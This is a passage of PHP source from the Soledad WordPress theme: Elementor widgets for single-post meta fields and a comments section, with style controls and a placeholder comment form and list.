			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'meta_icon_check', [
			'label'     => esc_html__( 'Hide Meta Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'meta_img_preview', [
			'label'       => esc_html__( 'Display Field as Image', 'soledad' ),
			'description' => esc_html__( 'Use this option if your custom field are image field', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SWITCHER,
			'label_on'    => __( 'Yes', 'soledad' ),
			'label_off'   => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'meta_icon', [
			'label'            => esc_html__( 'Meta Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-user',
				'library' => 'fa-regular',
			],
			'condition'        => [ 'meta_icon_check!' => 'yes' ],
		] );

		$this->end_controls_section();


		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Meta Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Meta', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-meta-single',
		) );

		$this->add_control( 'meta-color', [
			'label'     => 'Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-color', [
			'label'     => 'Meta Content Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single span.content' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-bg-color', [
			'label'     => 'Meta Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'meta-img-mw', [
			'label'     => 'Meta Image Max Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'px' => [
					'min' => 0,
					'max' => 1200,
				],
			],
			'condition' => [ 'meta_img_preview' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single img' => 'max-width:{{SIZE}}px;width:auto;' ],
		] );

		$this->add_responsive_control( 'meta-img-mh', [
			'label'     => 'Meta Image Max Height',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'px' => [
					'min' => 0,
					'max' => 1200,
				],
			],
			'condition' => [ 'meta_img_preview' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single img' => 'max-height:{{SIZE}}px;height:auto;' ],
		] );

		$this->add_responsive_control( 'meta-img-bd', [
			'label'     => 'Meta Image Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'%' => [
					'min' => 0,
					'max' => 100,
				],
			],
			'condition' => [ 'meta_img_preview' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single img' => 'border-radius:{{SIZE}}%' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'icon_settings', [
			'label' => esc_html__( 'Icon Settings', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'meta_icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default',
				's1'      => 'Style 1',
				's2'      => 'Style 2',
				's3'      => 'Style 3',
				's4'      => 'Style 4',
			],
		] );

		$this->add_control( 'meta_icon_size', [
			'label'     => esc_html__( 'Icon Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_fsize', [
			'label'     => esc_html__( 'Icon Font Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'font-size: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_border', [
			'label'     => esc_html__( 'Icon Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-radius: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_borderw', [
			'label'     => esc_html__( 'Icon Borders Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-width: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'penci_single_meta_gnr_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}} !important' ]
		] );

		$this->add_control( 'penci_single_meta_gnr_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_gnr_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings = $this->get_settings();
		$label    = $settings['meta_label'] ? '<span class="label">' . $settings['meta_label'] . '</span>' : '';
		$meta     = 'meta value';
		if ( $settings['meta_img_preview'] ) {
			$meta = '<img src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=600&h=600' . '" alt=""/>';
		}

		?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $settings['meta_icon_style'] ); ?>">
            <span>
	        <?php
	        if ( ! $settings['meta_icon_check'] && $settings['meta_icon'] ) {
		        echo '<span class="pcmt-icon meta-icon">';
		        \Elementor\Icons_Manager::render_icon( $settings['meta_icon'] );
		        echo '</span>';
	        }
	        ?>
	            <?php echo $label; ?>
            <span class="content"><?php echo $meta; ?></span></span>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings = $this->get_settings();
		$label    = $settings['meta_label'] ? '<span class="label">' . $settings['meta_label'] . '</span>' : '';

		$meta = $meta_key = '';

		if ( 'custom' == $settings['meta_source'] && $settings['meta'] ) {
			$meta_key = $settings['meta'];
		}

		if ( 'acf' == $settings['meta_source'] && $settings['acf'] ) {
			$meta_key = $settings['acf'];
		}

		$meta = get_post_meta( get_the_ID(), $meta_key, true );

		$filed_type = penci_get_field_type( $meta_key );

		if ( 'image' == $filed_type && is_numeric( $meta ) ) {
			$meta = wp_get_attachment_image( $meta );
		}

		if ( 'url' == $filed_type || 'email' == $filed_type ) {
			$meta = '<a target="_blank" href="' . esc_url( $meta ) . '">' . esc_html( $meta ) . '</a>';
		}

		if ( $meta ) {
			?>
            <div class="post-box-meta-single style-<?php echo esc_attr( $settings['meta_icon_style'] ); ?>">
            <span>
	        <?php
	        if ( ! $settings['meta_icon_check'] && $settings['meta_icon'] ) {
		        echo '<span class="pcmt-icon meta-icon">';
		        \Elementor\Icons_Manager::render_icon( $settings['meta_icon'] );
		        echo '</span>';
	        }
	        ?><?php echo $label; ?><span class="content"><?php echo do_shortcode( wpautop( $meta ) ); ?></span></span>
            </div>
			<?php
		}
	}
}
PK     2w\*2g  g  -  template-builder/single-elements/comments.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleComments extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Comments', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-commenting-o';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'comment' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-cml pcsb-cmf elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-comments';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_post_move_comment_box', [
			'label' => esc_html__( 'Move Comment Form to Above the List Comments ', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'hcomment_date', [
			'label'     => 'Hide Comment Date',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.date' => 'display:none' ],
		] );

		$this->add_control( 'comment_rheading_lcolor', [
			'label'     => 'Remove Lines on The Block Heading',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-title:before,{{WRAPPER}} .post-box-title:after,{{WRAPPER}} #respond h3.comment-reply-title span:before,{{WRAPPER}} #respond h3.comment-reply-title span:after' => 'display:none' ],
		] );

		$this->add_control( 'penci_single_comments_remove_name', [
			'label'       => esc_html__( 'Hide "Name" field on Comment Form', 'soledad' ),
			'description' => 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.',
			'type'        => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_comments_remove_email', [
			'label'       => esc_html__( 'Hide "Email" field on Comment Form', 'soledad' ),
			'description' => 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.',
			'type'        => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_comments_remove_website', [
			'label' => esc_html__( 'Hide "Website" field on Comment Form', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_hide_save_fields', [
			'label'       => esc_html__( 'Remove checkbox "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
			'description' => 'Note that: This checkbox just appears when you use Wordpress from version 4.9.6',
			'type'        => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_gdpr', [
			'label' => esc_html__( 'Enable GDPR message on Comment Form', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_gdpr_text', [
			'label'   => esc_html__( 'Custom GDPR Message on Comment Form', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXTAREA,
			'default' => esc_html__( '* By using this form you agree with the storage and handling of your data by this website.', 'soledad' ),
		] );

		$this->add_control( 'submit_btn_align', [
			'label'     => __( 'Submit Button Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors' => [ '{{WRAPPER}} #respond p.form-submit' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'content_spacing_section', [
			'label' => esc_html__( 'Elements Spacing', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'comment_lista_spacingt', [
			'label'      => 'Spacing Between Comments List & Comment Form',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pc-cscomments.move-top .post-title-box' => 'padding-top:{{SIZE}}px;margin-top:{{SIZE}}px',
				'{{WRAPPER}} .pc-cscomments.normal h3.comment-reply-title' => 'padding-top:{{SIZE}}px!important;',

			],
			'condition'  => [ 'penci_post_move_comment_box' => 'yes' ]
		] );

		$this->add_responsive_control( 'commentl_heading', [
			'label'     => 'Comments List',
			'type'      => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_responsive_control( 'comment_heading_spacing', [
			'label'     => 'Heading Title Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-title-box' => 'margin-bottom:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_name_spacing', [
			'label'      => 'Author Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .thecomment .comment-text span.author' => 'margin-bottom:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_content_spacing', [
			'label'      => 'Comment Content Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .thecomment .comment-content' => 'margin-top:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_list_spacingb', [
			'label'      => 'Comments List Spacing Bottom',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .thecomment' => 'padding-bottom:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'comment_child_spacing', [
			'label'      => 'Sub Comments Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [ '{{WRAPPER}} .comments .children,{{WRAPPER}} .comments>.comment>.comment,{{WRAPPER}} .comments>.comment>.comment>.comment,{{WRAPPER}} .comments>.comment>.comment>.comment>.comment,{{WRAPPER}} .comments>.comment>.comment>.comment>.comment>.comment' => 'margin:0 0 0 {{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'commentf_heading', [
			'label'     => 'Comment Form',
			'type'      => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_responsive_control( 'commentf_heading_spacing', [
			'label'     => 'Comment Form Heading Title Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} #respond h3.comment-reply-title' => 'margin-bottom:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Comments List', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_heading_typo',
			'label'    => __( 'Typography for Heading Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-title',
		) );

		$this->add_control( 'comment_heading_color', [
			'label'     => 'Heading Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_heading_lcolor', [
			'label'     => 'Heading Title Lines Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-title:before,{{WRAPPER}} .post-box-title:after' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_ava_width', [
			'label'     => 'Author Avatar Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [
				'{{WRAPPER}} .thecomment .author-img'   => 'width:{{SIZE}}px',
				'{{WRAPPER}} .thecomment .comment-text' => 'margin-left:calc({{SIZE}}px + 20px)',
			],
		] );

		$this->add_control( 'author_ava_boderradius', [
			'label'     => 'Author Avatar Borders Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .thecomment .author-img' => 'border-radius:{{SIZE}}px;overflow:hidden;' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_author_text_typo',
			'label'    => __( 'Typography for Author Name', 'soledad' ),
			'selector' => '{{WRAPPER}} .thecomment .comment-text span.author, {{WRAPPER}} .thecomment .comment-text span.author a',
		) );

		$this->add_control( 'comment_name_color', [
			'label'     => 'Author Name Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.author, {{WRAPPER}} .thecomment .comment-text span.author a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_name_hcolor', [
			'label'     => 'Author Name Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.author a:hover' => 'color:{{VALUE}}' ],
		] );



		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_date_typo',
			'label'    => __( 'Typography for Comment Date', 'soledad' ),
			'selector' => '{{WRAPPER}} .thecomment .comment-text span.date',
		) );

		$this->add_control( 'comment_date_color', [
			'label'     => 'Color for Comment Date',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.date' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_date_icolor', [
			'label'     => 'Comment Date Icon Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-text span.date i' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_content_typo',
			'label'    => __( 'Typography for Comment Content', 'soledad' ),
			'selector' => '{{WRAPPER}} .thecomment .comment-content',
		) );

		$this->add_control( 'comment_content_color', [
			'label'     => 'Color for Comment Content',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .thecomment .comment-content' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_reply_typo',
			'label'    => __( 'Typography for Reply Button', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-comments span.reply a,{{WRAPPER}} #respond h3 small a',
		) );

		$this->add_control( 'comment_reply_color', [
			'label'     => 'Reply Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-comments span.reply a,{{WRAPPER}} #respond h3 small a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_reply_hcolor', [
			'label'     => 'Reply Button Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-comments span.reply a:hover,{{WRAPPER}} #respond h3 small a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'comment_item_bcolor', [
			'label'     => 'General Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .comments .comment,{{WRAPPER}} .pc-cscomments.move-top .post-title-box,{{WRAPPER}} #respond h3' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'comment_list_spacingt', [
			'label'      => 'Comments List Spacing Top',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .thecomment'                                    => 'padding-top:{{SIZE}}px',
				'{{WRAPPER}} .comments > .comment:first-child > .thecomment' => 'padding-top:0',
			],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'comment_form_style', [
			'label' => esc_html__( 'Comment Form', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'comment_form_heading_typo',
			'label'    => __( 'Typography for Heading Title', 'soledad' ),
			'selector' => '{{WRAPPER}} #respond h3.comment-reply-title span',
		) );

		$this->add_control( 'commentf_heading_color', [
			'label'     => 'Heading Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond h3.comment-reply-title span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_heading_lcolor', [
			'label'     => 'Heading Title Lines Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond h3.comment-reply-title span:before,{{WRAPPER}} #respond h3.comment-reply-title span:after' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_form_settings', [
			'label' => 'Comment Form',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'commentf_input_text_typo',
			'label'    => __( 'Typography for Input Text', 'soledad' ),
			'selector' => '{{WRAPPER}} #respond textarea, {{WRAPPER}} #respond input',
		) );

		$this->add_control( 'commentf_input_text_color', [
			'label'     => 'Input Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} #respond textarea, {{WRAPPER}} #respond input' => 'color:{{VALUE}}',
				'{{WRAPPER}} #respond ::placeholder'                        => 'color:{{VALUE}}',
			],
		] );


		$this->add_control( 'commentf_input_border_color', [
			'label'     => 'Input Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond textarea, {{WRAPPER}} #respond input' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'commentf_btn_text_typo',
			'label'    => __( 'Typography for Submit Text', 'soledad' ),
			'selector' => '{{WRAPPER}} #respond #submit',
		) );

		$this->add_control( 'commentf_submit_bg_color', [
			'label'     => 'Submit Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_submit_bg_hcolor', [
			'label'     => 'Submit Background Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit:hover' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_submit_txt_color', [
			'label'     => 'Submit Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'commentf_submit_txt_hcolor', [
			'label'     => 'Submit Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond #submit:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'commentf_cookies_notice_typo',
			'label'     => __( 'Typography for Cookie Save Notice', 'soledad' ),
			'selector'  => '{{WRAPPER}} #respond .comment-form-cookies-consent',
			'condition' => [ 'penci_single_hide_save_fields!' => 'yes' ]
		) );

		$this->add_control( 'commentf_cookies_notice_color', [
			'label'     => 'Cookie Save Notice Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond .comment-form-cookies-consent' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_hide_save_fields!' => 'yes' ]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'commentf_gdpr_text_typo',
			'label'     => __( 'Typography for GDPR Message', 'soledad' ),
			'selector'  => '{{WRAPPER}} #respond .penci-gdpr-message',
			'condition' => [ 'penci_single_gdpr' => 'yes' ]
		) );

		$this->add_control( 'commentf_gdpr_text_color', [
			'label'     => 'GDPR Message Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} #respond .penci-gdpr-message' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_gdpr' => 'yes' ]
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings   = $this->get_settings();
		$hide_count = 0;
		if ( $settings['penci_single_comments_remove_name'] ) {
			$hide_count += 1;
		}
		if ( $settings['penci_single_comments_remove_email'] ) {
			$hide_count += 1;
		}
		if ( $settings['penci_single_comments_remove_website'] ) {
			$hide_count += 1;
		}
		$comment_form = '<div id="respond" class="comment-respond">
    <h3 id="reply-title" class="comment-reply-title">
    	<span>Leave a Comment</span>
    	<small><a rel="nofollow" id="cancel-comment-reply-link" href="#respond" style="display:none;">Cancel Reply</a></small>
    </h3>
    <form action="#" method="post" id="commentform" class="comment-form">
        <p class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="8" placeholder="Your Comment" aria-required="true" spellcheck="false"></textarea></p>';

		if ( ! $settings['penci_single_comments_remove_name'] ) {
			$comment_form .= '<p class="comment-form-author"><input id="author" name="author" type="text" value="" placeholder="Name*" size="30" aria-required="true"></p>';
		}

		if ( ! $settings['penci_single_comments_remove_email'] ) {
			$comment_form .= '<p class="comment-form-email"><input id="email" name="email" type="text" value="" placeholder="Email*" size="30" aria-required="true"></p>';
		}

		if ( ! $settings['penci_single_comments_remove_website'] ) {
			$comment_form .= '<p class="comment-form-url"><input id="url" name="url" type="text" value="" placeholder="Website" size="30"></p>';
		}
		if ( ! $settings['penci_single_hide_save_fields'] ) {
			$comment_form .= '<p class="comment-form-cookies-consent">
        	<input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes">
        	<span class="comment-form-cookies-text" for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time I comment.</span>
        </p>';
		}
		if ( $settings['penci_single_gdpr'] ) {
			$comment_form .= '<div class="penci-gdpr-message">' . $settings['penci_single_gdpr_text'] . '</div>';
		}
		$comment_form .= '<p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Submit"></p>
    </form>
</div>';
		$comment_list = '<div class="post-title-box"><h4 class="post-box-title">3 comments</h4></div><div class="comments">
    <div class="comment byuser comment-author-admin even thread-even depth-1" id="comment-62" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
        <meta itemprop="discusses" content="Green Corner in My Home">
        <link itemprop="url" href="#comment-62">
        <div class="thecomment">
            <div class="author-img">
                <img alt="" src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=100&h=100" width="100" height="100"></div>
            <div class="comment-text">
                <span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><a href="http://pencidesign.com/" rel="external nofollow ugc" class="url">Penci</a></span></span>
                <span class="date" datetime="2017-07-19T03:55:55+00:00" title="Wednesday, July 19, 2017, 3:55 am" itemprop="commentTime"><i class="penci-faicon fa fa-clock-o"></i>July 19, 2017 - 3:55 am</span>
                <div class="comment-content" itemprop="commentText">
                    <p>Neque porro quisquam est, qui dolorem
                        ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius
                        modi
                        tempora incidunt ut labore.</p>
                </div>
                <span class="reply">
                    <a rel="nofollow" class="comment-reply-link" href="#?replytocom=62#respond" data-commentid="62" data-postid="243" data-belowelement="comment-62" data-respondelement="respond" data-replyto="Reply to Penci" aria-label="Reply to Penci">Reply</a> </span>
            </div>
        </div>
        <div class="comment byuser comment-author-admin odd alt depth-2" id="comment-63" itemprop="" itemscope="itemscope" itemtype="https://schema.org/UserComments">
            <meta itemprop="discusses" content="Green Corner in My Home">
            <link itemprop="url" href="#comment-63">
            <div class="thecomment">
                <div class="author-img">
                    <img alt="" src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=100&h=100" width="100" height="100"></div>
                <div class="comment-text">
                    <span class="author" itemprop="creator" itemtype="https://schema.org/Person"><span itemprop="name"><a href="http://pencidesign.com/" rel="external nofollow ugc" class="url">Penci</a></span></span>
                    <span class="date" datetime="2017-07-19T03:56:02+00:00" title="Wednesday, July 19, 2017, 3:56 am" itemprop="commentTime"><i class="penci-faicon fa fa-clock-o"></i>July 19, 2017 - 3:56 am</span>
                    <div class="comment-content" itemprop="commentText">
                        <p>Quis autem vel eum iure
                            reprehenderit
